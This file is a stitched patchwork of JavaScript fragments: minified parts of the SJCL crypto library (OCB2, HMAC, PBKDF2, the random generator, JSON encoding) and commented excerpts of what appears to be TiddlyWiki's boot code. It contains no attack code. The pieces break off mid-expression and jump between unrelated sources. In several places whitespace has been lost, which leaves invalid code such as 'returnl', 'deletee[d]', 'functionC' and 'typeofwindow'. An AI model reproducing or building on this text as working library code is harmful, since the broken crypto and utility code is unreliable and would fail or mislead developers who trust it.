0,0]));l=k(l,m);l=a.encrypt(k(l,k(n,g(n))));d.length&&(l=k(l,f?d:sjcl.mode.ocb2.pmac(a,d)));if(!h.equal(h.clamp(l,e),h.bitSlice(b,r)))throw new sjcl.exception.corrupt("ocb: tag doesn't match");return q.concat(h.clamp(m,p))},pmac:function(a,b){var c,d=sjcl.mode.ocb2.S,e=sjcl.bitArray,f=e.i,g=[0,0,0,0],h=a.encrypt([0,0,0,0]),h=f(h,d(d(h)));for(c=0;c+4<b.length;c+=4)h=d(h),g=f(g,a.encrypt(f(h,b.slice(c,c+4))));c=b.slice(c);128>e.bitLength(c)&&(h=f(h,d(h)),c=e.concat(c,[-2147483648,0,0,0]));g=f(g,c);
sjcl.misc.hmac.prototype.encrypt=sjcl.misc.hmac.prototype.mac=function(a){if(this.aa)throw new sjcl.exception.invalid("encrypt on already updated hmac called!");this.update(a);return this.digest(a)};sjcl.misc.hmac.prototype.reset=function(){this.R=new this.W(this.w[0]);this.aa=!1};sjcl.misc.hmac.prototype.update=function(a){this.aa=!0;this.R.update(a)};sjcl.misc.hmac.prototype.digest=function(){var a=this.R.finalize(),a=(new this.W(this.w[1])).update(a).finalize();this.reset();return a};
sjcl.misc.pbkdf2=function(a,b,c,d,e){c=c||1E4;if(0>d||0>c)throw new sjcl.exception.invalid("invalid params to pbkdf2");"string"===typeof a&&(a=sjcl.codec.utf8String.toBits(a));"string"===typeof b&&(b=sjcl.codec.utf8String.toBits(b));e=e||sjcl.misc.hmac;a=new e(a);var f,g,h,k,l=[],n=sjcl.bitArray;for(k=1;32*l.length<(d||1);k++){e=f=a.encrypt(n.concat(b,[k]));for(g=1;g<c;g++)for(f=a.encrypt(f),h=0;h<f.length;h++)e[h]^=f[h];l=l.concat(e)}d&&(l=n.clamp(l,d));returnl};
(k=1);if(!k){if(void 0===b)for(c=b=0;c<a.length;c++)for(e=a[c];0<e;)b++,e=e>>>1;this.c[g].update([d,this.N++,2,b,f,a.length].concat(a))}break;case "string":void 0===b&&(b=a.length);this.c[g].update([d,this.N++,3,b,f,a.length]);this.c[g].update(a);break;default:k=1}if(k)throw new sjcl.exception.bug("random: addEntropy only supports number, array of numbers or string");this.m[g]+=b;this.f+=b;h===this.u&&(this.isReady()!==this.u&&A("seeded",Math.max(this.o,this.f)),A("progress",this.getProgress()))},
this.a.mouseCollector),document.detachEvent("keypress",this.a.keyboardCollector)),this.D=!1)},addEventListener:function(a,b){this.K[a][this.ga++]=b},removeEventListener:function(a,b){var c,d,e=this.K[a],f=[];for(d in e)e.hasOwnProperty(d)&&e[d]===b&&f.push(d);for(c=0;c<f.length;c++)d=f[c],deletee[d]},la:function(){C(this,1)},oa:function(a){varb,c;try{b=a.x||a.clientX||a.offsetX||0,c=a.y||a.clientY||a.offsetY||0}catch(d){c=b=0}0!=b&&0!=c&&this.addEntropy([b,c],2,"mouse");C(this,0)},qa:function(a){a=
function A(a,b){var c,d=sjcl.random.K[a],e=[];for(c in d)d.hasOwnProperty(c)&&e.push(d[c]);for(c=0;c<e.length;c++)e[c](b)}functionC(a,b){"undefined"!==typeofwindow&&window.performance&&"function"===typeofwindow.performance.now?a.addEntropy(window.performance.now(),b,"loadtime"):a.addEntropy((newDate).valueOf(),b,"loadtime")}functiony(a){a.b=z(a).concat(z(a));a.L=newsjcl.cipher.aes(a.b)}functionz(a){for(varb=0;4>b&&(a.h[b]=a.h[b]+1|0,!a.h[b]);b++);return a.L.encrypt(a.h)}
function B(a,b){return function(){b.apply(a,arguments)}}sjcl.random=new sjcl.prng(6);
else break a;sjcl.random.addEntropy(F,1024,"crypto['getRandomValues']")}}catch(a){"undefined"!==typeof window&&window.console&&(console.log("There was an error collecting entropy from the browser:"),console.log(a))}
b.mode&&sjcl.arrayBuffer&&sjcl.arrayBuffer.ccm&&b.ct instanceof ArrayBuffer?sjcl.arrayBuffer.ccm.decrypt(g,b.ct,b.iv,b.tag,f,b.ts):sjcl.mode[b.mode].decrypt(g,b.ct,b.iv,f,b.ts);e.g(d,b);d.key=a;return 1===c.raw?f:sjcl.codec.utf8String.fromBits(f)},decrypt:function(a,b,c,d){var e=sjcl.json;return e.ia(a,e.decode(b),c,d)},encode:function(a){var b,c="{",d="";for(b in a)if(a.hasOwnProperty(b)){if(!b.match(/^[a-z0-9]+$/i))throw new sjcl.exception.invalid("json encode: invalid property name");c+=d+'"'+
b+'":';d=",";switch(typeof a[b]){case "number":case "boolean":c+=a[b];break;case "string":c+='"'+escape(a[b])+'"';break;case "object":c+='"'+sjcl.codec.base64.fromBits(a[b],0)+'"';break;default:throw new sjcl.exception.bug("json encode: unsupported type");}}return c+"}"},decode:function(a){a=a.replace(/\s/g,"");if(!a.match(/^\{.*\}$/))throw new sjcl.exception.invalid("json decode: this isn't json!");a=a.replace(/^\{|\}$/g,"").split(/,/);var b={},c,d;for(c=0;c<a.length;c++){if(!(d=a[c].match(/^\s*(?:(["']?)([a-z][a-z0-9]*)\1)\s*:\s*(?:(-?\d+)|"([a-z0-9+\/%*_.@=\-]*)"|(true|false))$/i)))thrownewsjcl.exception.invalid("jsondecode:thisisn'tjson!");
null!=d[3]?b[d[2]]=parseInt(d[3],10):null!=d[4]?b[d[2]]=d[2].match(/^(ct|adata|salt|iv)$/)?sjcl.codec.base64.toBits(d[4]):unescape(d[4]):null!=d[5]&&(b[d[2]]="true"===d[5])}return b},g:function(a,b,c){void 0===a&&(a={});if(void 0===b)return a;for(var d in b)if(b.hasOwnProperty(d)){if(c&&void 0!==a[d]&&a[d]!==b[d])throw new sjcl.exception.invalid("required parameter overridden");a[d]=b[d]}return a},sa:function(a,b){var c={},d;for(d in a)a.hasOwnProperty(d)&&a[d]!==b[d]&&(c[d]=a[d]);return c},ra:function(a,
Information about each module is kept in an object with these members:
moduleType: type of module
definition: object, function or string defining the module; see below
exports: exports of the module, filled in after execution
The `definition` can be of several types:
* An object can be used to directly specify the exports of the module
* A function with the arguments `module,require,exports` that returns `exports`
* A string function body with the same arguments
Each moduleInfo object is stored in two hashmaps: $tw.modules.titles and $tw.modules.types. The first is indexed by title and the second is indexed by type and then title
*/
$tw.modules = {
titles: {}, // hashmap by module name of moduleInfo
types: {} // hashmap by module type and then name of moduleInfo
};
/*
Define a JavaScript tiddler module for later execution
moduleName: name of module being defined
moduleType: type of module
definition: module definition; see discussion above
The main boot kernel for TiddlyWiki. This single file creates a barebones TW environment that is just sufficient to bootstrap the modules containing the main logic of the application.
On the server this file is executed directly to boot TiddlyWiki. In the browser, this file is packed into a single HTML file.
\*/
var _boot = (function($tw) {
/*jslint node: true, browser: true */
/*global modules: false, $tw: false */
"use strict";
// Include bootprefix if we're not given module data
if(!$tw) {
$tw = require("./bootprefix.js").bootprefix();
}
$tw.utils = $tw.utils || Object.create(null);
/////////////////////////// Standard node.js libraries
promptMsg = ( $tw.language == undefined ? "Well, this is embarrassing. It is recommended that you restart TiddlyWiki by refreshing your browser" : $tw.language.getString("InternalJavaScriptError/Hint") );
Fill in any null or undefined properties of an object with the properties from a list of source objects. Each property that is an object is called recursively
Get the browser location.hash. We don't use location.hash because of the way that Firefox auto-urldecodes it (see http://stackoverflow.com/questions/1703552/encoding-of-window-location-hash)
*/
$tw.utils.getLocationHash = function() {
var href = window.location.href;
var idx = href.indexOf('#');
if(idx === -1) {
return "#";
} else if(idx <href.length-1&&href[idx+1]==='#'){
// Special case: ignore location hash if it itself starts with a #
return "#";
} else {
return href.substring(idx);
}
};
/*
Pad a string to a given length with "0"s. Length defaults to 2
*/
$tw.utils.pad = function(value,length) {
length = length || 2;
var s = value.toString();
if(s.length <length){
s = "000000000000000000000000000".substr(0,length - s.length) + s;
}
return s;
};
// Convert a date into UTC YYYYMMDDHHMMSSmmm format
$tw.utils.stringifyDate = function(value) {
return value.getUTCFullYear() +
$tw.utils.pad(value.getUTCMonth() + 1) +
$tw.utils.pad(value.getUTCDate()) +
$tw.utils.pad(value.getUTCHours()) +
$tw.utils.pad(value.getUTCMinutes()) +
$tw.utils.pad(value.getUTCSeconds()) +
$tw.utils.pad(value.getUTCMilliseconds(),3);
};
// Parse a date from a UTC YYYYMMDDHHMMSSmmm format string
$tw.utils.parseDate = function(value) {
if(typeof value === "string") {
var negative = 1;
if(value.charAt(0) === "-") {
negative = -1;
value = value.substr(1);
}
var year = parseInt(value.substr(0,4),10) * negative,
d = new Date(Date.UTC(year,
parseInt(value.substr(4,2),10)-1,
parseInt(value.substr(6,2),10),
parseInt(value.substr(8,2)||"00",10),
parseInt(value.substr(10,2)||"00",10),
parseInt(value.substr(12,2)||"00",10),
parseInt(value.substr(14,3)||"000",10)));
d.setUTCFullYear(year); // See https://stackoverflow.com/a/5870822
return d;
} else if($tw.utils.isDate(value)) {
return value;
} else {
return null;
}
};
// Stringify an array of tiddler titles into a list string
$tw.utils.stringifyList = function(value) {
if($tw.utils.isArray(value)) {
var result = new Array(value.length);
for(var t=0, l=value.length; t<l;t++){
var entry = value[t] || "";
if(entry.indexOf(" ") !== -1) {
result[t] = "[[" + entry + "]]";
} else {
result[t] = entry;
}
}
return result.join(" ");
} else {
return value || "";
}
};
// Parse a string array from a bracketted list. For example "OneTiddler [[Another Tiddler]] LastOne"
submitText: text to use for submit button (defaults to "Login")
serviceName: text of the human readable service name
noUserName: set true to disable username prompt
canCancel: set true to enable a cancel button (callback called with null)
repeatPassword: set true to prompt for the password twice
callback: function to be called on submission with parameter of object {username:,password:}. Callback must return `true` to remove the password prompt
Return an array of classes created from the modules of a specified type. Each module should export the properties to be added to those of the optional base class
Wiki constructor. State is stored in private members that only a small number of privileged accessor methods have direct access. Methods added via the prototype have to use these accessors and cannot access the state data directly.
options include:
enableIndexers - Array of indexer names to enable, or null to use all available indexers
*/
$tw.Wiki = function(options) {
options = options || {};
var self = this,
tiddlers = Object.create(null), // Hashmap of tiddlers
// Register the plugin tiddlers of a particular type, or null/undefined for any type, optionally restricting registration to an array of tiddler titles. Return the array of titles affected
self.unregisterPluginTiddlers(null,[title]); // Unregister the plugin if it's already registered
pluginTiddlers.push(tiddler);
registeredTitles.push(tiddler.fields.title);
}
}
};
if(titles) {
$tw.utils.each(titles,function(title) {
checkTiddler(self.getTiddler(title),title);
});
} else {
this.each(function(tiddler,title) {
checkTiddler(tiddler,title);
});
}
return registeredTitles;
};
// Unregister the plugin tiddlers of a particular type, or null/undefined for any type, optionally restricting unregistering to an array of tiddler titles. Returns an array of the titles affected
Enable safe mode by deleting any tiddlers that override a shadow tiddler
*/
$tw.Wiki.prototype.processSafeMode = function() {
var self = this,
overrides = [];
// Find the overriding tiddlers
this.each(function(tiddler,title) {
if(self.isShadowTiddler(title)) {
console.log(title);
overrides.push(title);
}
});
// Assemble a report tiddler
var titleReportTiddler = "TiddlyWiki Safe Mode",
report = [];
report.push("TiddlyWiki has been started in [[safe mode|https://tiddlywiki.com/static/SafeMode.html]]. All plugins are temporarily disabled. Most customisations have been disabled by renaming the following tiddlers:")
Decrypt any tiddlers stored within the element with the ID "encryptedArea". The function is asynchronous to allow the user to be prompted for a password
callback: function to be called the decryption is complete
// Storing encrypted tiddlers on the server isn't supported yet
callback();
};
} // End of if($tw.browser && !$tw.node)
/////////////////////////// Node definitions
if($tw.node) {
/*
Load the tiddlers contained in a particular file (and optionally extract fields from the accompanying .meta file) returned as {filepath:,type:,tiddlers:[],hasMetaFile:}
Load all the tiddlers recursively from a directory, including honouring `tiddlywiki.files` files for drawing in external files. Returns an array of {filepath:,type:,tiddlers: [{..fields...}],hasMetaFile:}. Note that no file information is returned for externally loaded tiddlers, just the `tiddlers` property.